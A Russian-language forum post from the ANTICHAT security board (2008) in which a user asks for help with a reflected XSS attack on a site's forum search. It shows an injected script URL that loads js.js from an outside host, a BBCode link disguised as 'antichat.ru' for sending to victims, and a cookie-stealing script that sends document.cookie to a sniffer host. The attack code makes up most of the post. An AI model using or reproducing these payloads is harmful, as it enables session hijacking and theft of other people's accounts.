Xss в поиске...что дальше ?

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#21

10.06.2008, 19:02

geforse

Постоянный

Регистрация: 02.03.2008

Сообщений: 893

Провел на форуме:
5365841

Репутация: 712

Отправить сообщение для geforse с помощью ICQ

В общем вот что в итоге получается (сколько я не клацкал)) на интер)

Код:

http://localhost/1.php?a=search=%22%3E%3Cscript%20src=http://САЙТ.ru/js.js%3E%3C/script%3E

Получившуюся ссылку засовую в сообщение и отсылаю:
(вот эту ссылку)

PHP код:


		
			
[url=http://SITE.ru/forum/ssearch.php?q=%22%3E%3Cscript%20src=http://xxx.ru/js.js%3E%3C/script%3E]antichat.ru[/url]

Может переадресацию нужно сделать какнить на мой js.js

Если на неё нажать,,,попадаю сюда:

PHP код:


		
			
http://site.ru/forum/ssearch.php?q=%22%3E%3Cscript%20src=http://xxx.ru/js.js%3E%3C/script%3E

------------------------------------------------------------------------

Снифер пустой,,,,может из за кода js.js

Я в нём вот что пишу,,,но помойму не работает он вовсе)):

Код HTML:

<script>img = new Image(); img.src = "http://s.netsec.ru/login.gif?"+document.cookie;</script>

Последний раз редактировалось geforse; 10.06.2008 в 19:06..

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Юмор. Анекдоты, смешные рассказы/логи.

Mobile

Болталка

1356

16.06.2010 16:46

Продвижение сайтов в зарубежных поисковых системах

baltazar

Статьи

24.03.2008 03:41

Установка Windoze глазами линуксоида (100% факты)

nerezus

Болталка

16.10.2005 15:06